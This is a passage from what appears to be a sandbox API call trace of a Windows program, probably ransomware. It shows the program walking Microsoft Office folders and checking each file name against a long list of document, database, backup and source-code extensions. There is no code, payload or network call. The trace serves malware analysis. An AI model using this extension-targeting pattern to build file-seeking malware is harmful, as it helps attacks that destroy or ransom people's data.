lpString2=".jpg") returned -1 [0140.824] lstrlenW (lpString=".3gp") returned 4 [0140.824] lstrcmpiW (lpString1=".3gp", lpString2=".jpg") returned -1 [0140.824] lstrlenW (lpString=".7z") returned 3 [0140.824] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0140.824] lstrlenW (lpString=".accda") returned 6 [0140.824] lstrcmpiW (lpString1=".accda", lpString2="es.jpg") returned -1 [0140.824] lstrlenW (lpString=".accdb") returned 6 [0140.824] lstrcmpiW (lpString1=".accdb", lpString2="es.jpg") returned -1 [0140.824] lstrlenW (lpString=".accdc") returned 6 [0140.824] lstrcmpiW (lpString1=".accdc", lpString2="es.jpg") returned -1 [0140.824] lstrlenW (lpString=".accde") returned 6 [0140.824] lstrcmpiW (lpString1=".accde", lpString2="es.jpg") returned -1 [0140.824] lstrlenW (lpString=".accdt") returned 6 [0140.824] lstrcmpiW (lpString1=".accdt", lpString2="es.jpg") returned -1 [0140.824] lstrlenW (lpString=".accdw") returned 6 [0140.824] lstrcmpiW (lpString1=".accdw", lpString2="es.jpg") returned -1 [0140.824] lstrlenW (lpString=".adb") returned 4 [0140.824] lstrcmpiW (lpString1=".adb", lpString2=".jpg") returned -1 [0140.824] lstrlenW (lpString=".adp") returned 4 [0140.824] lstrcmpiW (lpString1=".adp", lpString2=".jpg") returned -1 [0140.825] lstrlenW (lpString=".ai") returned 3 [0140.825] lstrcmpiW (lpString1=".ai", lpString2="jpg") returned -1 [0140.825] lstrlenW (lpString=".ai3") returned 4 [0140.825] lstrcmpiW (lpString1=".ai3", lpString2=".jpg") returned -1 [0140.825] lstrlenW (lpString=".ai4") returned 4 [0140.825] lstrcmpiW (lpString1=".ai4", lpString2=".jpg") returned -1 [0140.825] lstrlenW (lpString=".ai5") returned 4 [0140.825] lstrcmpiW (lpString1=".ai5", lpString2=".jpg") returned -1 [0140.825] lstrlenW (lpString=".ai6") returned 4 [0140.825] lstrcmpiW (lpString1=".ai6", lpString2=".jpg") returned -1 [0140.825] lstrlenW (lpString=".ai7") returned 4 [0140.825] lstrcmpiW (lpString1=".ai7", lpString2=".jpg") returned -1 [0140.825] lstrlenW (lpString=".ai8") returned 4 [0140.825] lstrcmpiW (lpString1=".ai8", lpString2=".jpg") returned -1 [0140.825] lstrlenW (lpString=".anim") returned 5 [0140.825] lstrcmpiW (lpString1=".anim", lpString2="s.jpg") returned -1 [0140.825] lstrlenW (lpString=".arw") returned 4 [0140.825] lstrcmpiW (lpString1=".arw", lpString2=".jpg") returned -1 [0140.825] lstrlenW (lpString=".as") returned 3 [0140.825] lstrcmpiW (lpString1=".as", lpString2="jpg") returned -1 [0140.825] lstrlenW (lpString=".asa") returned 4 [0140.825] lstrcmpiW (lpString1=".asa", lpString2=".jpg") returned -1 [0140.825] lstrlenW (lpString=".asc") returned 4 [0140.825] lstrcmpiW (lpString1=".asc", lpString2=".jpg") returned -1 [0140.825] lstrlenW (lpString=".ascx") returned 5 [0140.825] lstrcmpiW (lpString1=".ascx", lpString2="s.jpg") returned -1 [0140.825] lstrlenW (lpString=".asm") returned 4 [0140.825] lstrcmpiW (lpString1=".asm", lpString2=".jpg") returned -1 [0140.825] lstrlenW (lpString=".asmx") returned 5 [0140.825] lstrcmpiW (lpString1=".asmx", lpString2="s.jpg") returned -1 [0140.826] lstrlenW (lpString=".asp") returned 4 [0140.826] lstrcmpiW (lpString1=".asp", lpString2=".jpg") returned -1 [0140.826] lstrlenW (lpString=".aspx") returned 5 [0140.826] lstrcmpiW (lpString1=".aspx", lpString2="s.jpg") returned -1 [0140.826] lstrlenW (lpString=".asr") returned 4 [0140.826] lstrcmpiW (lpString1=".asr", lpString2=".jpg") returned -1 [0140.826] lstrlenW (lpString=".asx") returned 4 [0140.826] lstrcmpiW (lpString1=".asx", lpString2=".jpg") returned -1 [0140.826] lstrlenW (lpString=".avi") returned 4 [0140.826] lstrcmpiW (lpString1=".avi", lpString2=".jpg") returned -1 [0140.826] lstrlenW (lpString=".avs") returned 4 [0140.826] lstrcmpiW (lpString1=".avs", lpString2=".jpg") returned -1 [0140.826] lstrlenW (lpString=".backup") returned 7 [0140.826] lstrcmpiW (lpString1=".backup", lpString2="ges.jpg") returned -1 [0140.826] lstrlenW (lpString=".bak") returned 4 [0140.826] lstrcmpiW (lpString1=".bak", lpString2=".jpg") returned -1 [0140.826] lstrlenW (lpString=".bay") returned 4 [0140.826] lstrcmpiW (lpString1=".bay", lpString2=".jpg") returned -1 [0140.826] lstrlenW (lpString=".bd") returned 3 [0140.826] lstrcmpiW (lpString1=".bd", lpString2="jpg") returned -1 [0140.826] lstrlenW (lpString=".bin") returned 4 [0140.826] lstrcmpiW (lpString1=".bin", lpString2=".jpg") returned -1 [0140.826] lstrlenW (lpString=".bmp") returned 4 [0140.826] lstrcmpiW (lpString1=".bmp", lpString2=".jpg") returned -1 [0140.826] lstrlenW (lpString=".bz2") returned 4 [0140.826] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0140.826] lstrlenW (lpString=".c") returned 2 [0140.826] lstrcmpiW (lpString1=".c", lpString2="pg") returned -1 [0140.826] lstrlenW (lpString=".cdr") returned 4 [0140.826] lstrcmpiW (lpString1=".cdr", lpString2=".jpg") returned -1 [0140.827] lstrlenW (lpString=".cer") returned 4 [0140.827] lstrcmpiW (lpString1=".cer", lpString2=".jpg") returned -1 [0140.827] lstrlenW (lpString=".cf") returned 3 [0140.827] lstrcmpiW (lpString1=".cf", lpString2="jpg") returned -1 [0140.827] lstrlenW (lpString=".cfc") returned 4 [0140.827] lstrcmpiW (lpString1=".cfc", lpString2=".jpg") returned -1 [0140.827] lstrlenW (lpString=".cfm") returned 4 [0140.827] lstrcmpiW (lpString1=".cfm", lpString2=".jpg") returned -1 [0140.827] lstrlenW (lpString=".cfml") returned 5 [0140.827] lstrcmpiW (lpString1=".cfml", lpString2="s.jpg") returned -1 [0140.827] lstrlenW (lpString=".cfu") returned 4 [0140.827] lstrcmpiW (lpString1=".cfu", lpString2=".jpg") returned -1 [0140.827] lstrlenW (lpString=".chm") returned 4 [0140.827] lstrcmpiW (lpString1=".chm", lpString2=".jpg") returned -1 [0140.827] lstrlenW (lpString=".cin") returned 4 [0140.827] lstrcmpiW (lpString1=".cin", lpString2=".jpg") returned -1 [0140.827] lstrlenW (lpString=".class") returned 6 [0140.827] lstrcmpiW (lpString1=".class", lpString2="es.jpg") returned -1 [0140.827] lstrlenW (lpString=".clx") returned 4 [0140.827] lstrcmpiW (lpString1=".clx", lpString2=".jpg") returned -1 [0140.827] lstrlenW (lpString=".config") returned 7 [0140.827] lstrcmpiW (lpString1=".config", lpString2="ges.jpg") returned -1 [0140.827] lstrlenW (lpString=".cpp") returned 4 [0140.827] lstrcmpiW (lpString1=".cpp", lpString2=".jpg") returned -1 [0140.827] lstrlenW (lpString=".cr2") returned 4 [0140.827] lstrcmpiW (lpString1=".cr2", lpString2=".jpg") returned -1 [0140.827] lstrlenW (lpString=".crt") returned 4 [0140.827] lstrcmpiW (lpString1=".crt", lpString2=".jpg") returned -1 [0140.827] lstrlenW (lpString=".crw") returned 4 [0140.828] lstrcmpiW (lpString1=".crw", lpString2=".jpg") returned -1 [0140.828] lstrlenW (lpString=".cs") returned 3 [0140.828] lstrcmpiW (lpString1=".cs", lpString2="jpg") returned -1 [0140.828] lstrlenW (lpString=".css") returned 4 [0140.828] lstrcmpiW (lpString1=".css", lpString2=".jpg") returned -1 [0140.828] lstrlenW (lpString=".csv") returned 4 [0140.828] lstrcmpiW (lpString1=".csv", lpString2=".jpg") returned -1 [0140.828] lstrlenW (lpString=".cub") returned 4 [0140.828] lstrcmpiW (lpString1=".cub", lpString2=".jpg") returned -1 [0140.828] lstrlenW (lpString=".dae") returned 4 [0140.828] lstrcmpiW (lpString1=".dae", lpString2=".jpg") returned -1 [0140.828] lstrlenW (lpString=".dat") returned 4 [0140.828] lstrcmpiW (lpString1=".dat", lpString2=".jpg") returned -1 [0140.828] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0140.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x428df78 | out: hHeap=0x300000) returned 1 [0140.829] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentShare", cAlternateFileName="DOCUME~1")) returned 1 [0140.829] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0140.830] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.830] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab11, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolHomePageBackground.jpg", cAlternateFileName="WSSFIL~1.JPG")) returned 1 [0140.831] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0140.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x428df78 | out: hHeap=0x300000) returned 1 [0140.831] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveDocumentReview", cAlternateFileName="GROOVE~1")) returned 1 [0140.831] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0140.833] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.833] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2519, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveTabImage.jpg", cAlternateFileName="ACTIVE~1.JPG")) returned 1 [0140.833] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0140.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x428df78 | out: hHeap=0x300000) returned 1 [0140.834] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms", cAlternateFileName="GROOVE~3")) returned 1 [0140.835] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0140.837] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.838] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="ADDTOV~1.JPG")) returned 1 [0140.839] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0140.840] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.840] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x368c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attachments.jpg", cAlternateFileName="ATTACH~1.JPG")) returned 1 [0140.841] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0140.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x426df68 | out: hHeap=0x300000) returned 1 [0140.842] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.ICO", cAlternateFileName="")) returned 1 [0141.075] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0141.732] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.732] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2021e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Customer Support.fdt", cAlternateFileName="CUSTOM~1.FDT")) returned 1 [0141.733] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0141.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42adf88 | out: hHeap=0x300000) returned 1 [0141.734] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="FORMSV~1.HTM")) returned 1 [0141.735] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0141.735] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x428df78 | out: hHeap=0x300000) returned 1 [0141.736] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms3", cAlternateFileName="GR96F1~1")) returned 1 [0141.736] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0141.749] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.779] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0141.780] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0141.843] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.843] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1 [0143.713] FindClose (in: hFindFile=0x4191600 | out: hFindFile=0x4191600) returned 1 [0143.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41a42a8 | out: hHeap=0x300000) returned 1 [0143.846] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xc568, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECALL.DLL", cAlternateFileName="")) returned 1 [0143.847] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*", lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191600 [0144.026] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.026] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc114b600, ftCreationTime.dwHighDateTime=0x1c307de, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc114b600, ftLastWriteTime.dwHighDateTime=0x1c307de, nFileSizeHigh=0x0, nFileSizeLow=0x1d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVSAMP.XLS", cAlternateFileName="")) returned 1 [0144.026] FindClose (in: hFindFile=0x4191600 | out: hFindFile=0x4191600) returned 1 [0144.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41a42a8 | out: hHeap=0x300000) returned 1 [0144.026] FindNextFileW (in: hFindFile=0x4191180, 